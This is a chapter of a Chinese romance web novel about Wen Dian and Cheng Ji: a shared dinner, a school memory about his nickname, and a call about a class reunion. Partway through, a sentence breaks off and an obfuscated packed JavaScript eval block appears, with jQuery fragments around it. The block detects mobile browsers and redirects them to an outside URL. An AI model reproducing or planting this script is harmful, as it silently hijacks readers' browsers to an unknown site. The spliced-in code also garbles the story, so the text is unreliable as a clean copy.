“在想什么？”
回忆戛然而止。
程季把围裙解开，走近桌子，将最后一道菜放到温惦眼前。
一碟青椒炒肉，冒着腾腾的热气，透过热气，温惦看清男人单手上菜时绅士有礼的动作。
那个词，又出现在脑海，挥之不去。
温惦咽了口口水，下意识问：“不是说辣的不行吗？”
“我说过吗？”对方像真的丢失了一段记忆似的，问得理直气壮。
就连温惦都开始有些怀疑自己是不是记忆错乱了。
在她沉浸在自己的想法里时，程季拉开她对面的椅子，自然地坐了下来，把盛好的饭推到她面前，温声道：“不够还有。”
“说好的要请你吃饭的，结果又蹭了你一顿……”
男人表情看似浑不在意，甚至感觉心情不错：“那感情好，下回你做给我吃。”
“你又不是不知道我做饭……”
这话不经大脑几乎脱口而出。
听着实在是有些说不清道不明的情愫。
让人怀疑下一秒是否就能问出那句——我们现在是什么关系？
话头停留在这里。
没孤单多久，便被程季捡起：“那你就不用算得那么两清。”
“……”
好像再一次被这个男人给台阶了。
温惦胃小，饭量不大，以往朋友爱调侃她还没开始吃就已经饱了。或许是因为一整天就吃了碗粥加上身体恢复，温惦今天的胃口格外好。
不过，她想，最主要的原因应该还是，程季的手艺太好了，几乎每一道菜都踩在她的味蕾上，温惦喜欢辛辣但不爱油腻，桌上所有的肉食里没有一块是肥的，盐油恰到好处，既保留了食物原本的味道，又让口感变得适逸。
平日里温惦吃饭就不爱说话，常常是一个人低头默默的吃，只有朋友跟她搭话的时候，她才会分去注意给点反应。
程季同她相对而坐，男人吃饭动作很慢，礼仪到位，几乎发不出动静，偶尔抬眼看了看温惦专心致志的表情，几次观察，程季确定，她好像还挺喜欢吃的。
虽然没有交流，但气氛并不尴尬。
一顿餐接近尾声，程季的手机发出振动打破了寂静，在安静的客厅里存在感明显。
程季放下筷子，用纤细修长的两根手指夹了张纸，擦过嘴角，余光瞄了眼来电备注，慢条斯理地接了起来。
“——有事？”
手机没开免提，但室内太过安静，对方的话可以轻而易举传进温惦耳朵里。
“好久不见了禾禾哥！！！”
温惦一听这声音还有些熟悉。
对方刚出声，便被程季堵了回去：“禾禾也是你能叫的？”
温惦一愣。
程季小名叫禾禾这件事情，从高一开始就在同学之间打趣，后面渐渐形成了一个梗。
原先温惦以为，他叫禾禾只是因为名字里的两个字偏旁部首都是“禾”。后来，温惦偶然听到程季跟一些男生讲起名字的来源——
那天是个艳阳天，高一一班的窗帘大敞，大片的阳光隔着玻璃窗照进屋内，教室里空调开得正好。
这节是体育课，又逢高温，体育老师带着一班人光明正大的摸鱼，在课上点了个名就宣布自由活动。
温惦随着苏语默偷溜回了班里，刚落座就拿出草稿纸演算上节数学课老师留下的课堂问题。
温惦很快进入状态，等思绪再次从纸笔上离开的时候，已经临近下课了。
以程季为首的一行男生，刚打完球，窄窄的教室过道突然起来塞下几个身量很高的少年，温惦放在桌上的细头笔，没盖上笔盖，被一股力量猝不及防撞掉，等温惦低头去看的时候，已经在自己脚边了。
“抱歉。”
温和的声音几乎同一时间响在上方，先她一步蹲下身子把笔捡了起来。
少年从高到低，温惦顺理成章看清了他的脸。
两人视线交错，温惦下意识避开，把笔接了过来，谢谢还没道出口，就被旁人打断：
“禾禾，你咋走路不看路撞着班长了。”
身旁一个长得乌漆嘛黑的男生语气欠欠的。
听得温惦眉心直皱。
明明是你们一大伙人把他挤过来的……
程季好脾气的没解释，反而边和他们走向后座，边道：“别乱叫。”
没多久，温惦就听到后座的椅子被拉开的声音。
几个男生交谈起来，正好题也解完了，温惦此时竟然对他们聊的话题出乎意料的感兴趣。
“这不你小名吗？咋滴还不爱听。”
另一个人接茬：“可能会想起被家里人支配的恐惧？”
“哈哈哈哈哈哈哈哈。”
程季眼皮懒懒地一掀，睫毛垂下：“我家里人可不会支配我——这个名字是我幼儿园老师给取的。”
提起这个，一帮人来了劲。
见他们一脸好奇的样，程季嘴角一扯：“这有什么期待的？”
“唉哟，你快讲！算我求你了程少爷。”
有些人或许就是这样，只要站在那里，就会引得万人瞩目，好奇他的所有。
程季琢磨了一下这点小事要怎么讲，汗水顺着碎发落到鼻尖，他伸手撇开那一缕碎发，冲那群人低低地笑了声，完全少年样。
“小时候我爸妈也愁过我小名，阿程像叫我爸，阿季像我妈，之后取了个的名字，叫见见。”
见见。
也很好听。
原来程季的名字是由父母的姓氏组成的。
温惦抿了抿唇。
“这名字怎么像女的。”
“我妈给我取得怎么就像女的了。”
程季这回直接给人怼了回去。
那个男生只好打着哈哈揭过去。
程季没理他，继续说，语气到最后有丝无奈，又有丝语重心长，其实是没招了：“这名字我三岁之前一直在用……直到我妈遇见了那个女人。”
季清星形容和程季幼儿园老师的相遇就像是奶茶配珍珠，烧烤配孜然，西瓜配西瓜籽……
那老师某天上课灵感一来，盯着从小就一副臭脸的程季，两掌一拍，取了个名字叫禾禾，给季清星的解释是——
“说我像荷花一样安静。”
？
。
此话一出，空气中弥漫一股寂静，这种寂静在一群年轻气盛的男高中生中鲜少可见。
不到一秒钟，一帮人笑得前插后仰，合不拢嘴，笑声震天，班上其他刚回教室的同学频频
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448345|185199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望向他们。
温惦庆幸自己背对着他们，笑意止不住攀上嘴角。
程季虽然不调皮捣蛋，但跟安静这词也可以说是毫无关系。
再加上配上这个稀奇古怪的形容词，让小小的程季一直记得这件事，后来爸妈这么叫，他渐渐也习惯了，只是每次有别人这么叫，他都会想起这个名字的来源，挥之不去。
时间掐得很准，刚逗大伙一乐，程季也跟着笑了下，紧接着上课铃打响，一群人作鸟兽散。
温惦也把笑意收了回来。
就在温惦注意飘向别处的时候，后椅被人轻轻敲了一下。
温惦回头，程季那张脸近在眼前。
“你试试看那支笔摔坏了没？”
温惦眨巴了两下眼睛：“没关系的，本来就快没水了。”
那支笔递到她眼前的时候，笔尖已经弯了。想必也没躲过少年的眼睛。
“过会儿放学，给你去小卖部再买一支？”
既然都这么说了，温惦也没推辞：“好。”
温惦以为他叫自己只是说这件事，谁知正当温惦准备转过身的时候，程季冷不丁道：“刚才听得开心不？”
“……”
被看见了。
事已至此，温惦硬着头皮道：“还行。”
“我看你笑得挺开心的。”
“……”
这也看到了！
女孩小心翼翼地回应少年的目光，就见他神色里没有调笑，没有不满，更多像是在逗一只猫，困意袭来，周身毫无戾气，让人忍不住想亲近。
“困了，数学课帮我挡挡呗，班长。”
……
思绪收回，或许因为这段记忆，温惦想起了来电的人是谁。
记忆里那个长得黑黑的男生，当了三年的体育课代表，叫吴角。
吴角：“那个谁叫的时候你不是还美滋滋的。”
温惦放筷子的动作一顿。
上高中的时候，她确实是最喜欢叫他禾禾的那一个。
不过“那个谁”也不一定是自己……
“有话就说。”程季淡淡道。
吴角：“好好好，毕业这么多年了，和你也没怎么联系，前段时间我又和大家伙见了一面，我们寻思着要不要搞个同学聚会？隔壁班几年前就搞过了，这不是听说你才回国。”
听到这句，两人相对着，若有所思。
吴角继续道：“我们在想要不要把那个谁请来，听说她一直在芜州呢。”
温惦擦了擦嘴角：“？”
没准之前班上有人毕业也来芜州了。
男人许久没有动静，眼里没个聚焦，像是在想一个很久远的事情：“我不喜欢这个称呼。”
吴角一愣，反应过来他指得是“那个谁”：“这不是怕……”
“我可以去，但是我有一个要求，不许让云泽来。”程季神色恢复如常。
“放心！那温惦那边……”
突然听到自己的名字温惦险些呛到。
“你自己问她吧。”程季道。
“啊？”
这话听着实在太无厘头，吴角摸不清他的意思，刚想中规中矩说自己没有温惦微信，就听见程季的语调低了低：
“她在我身边呢。”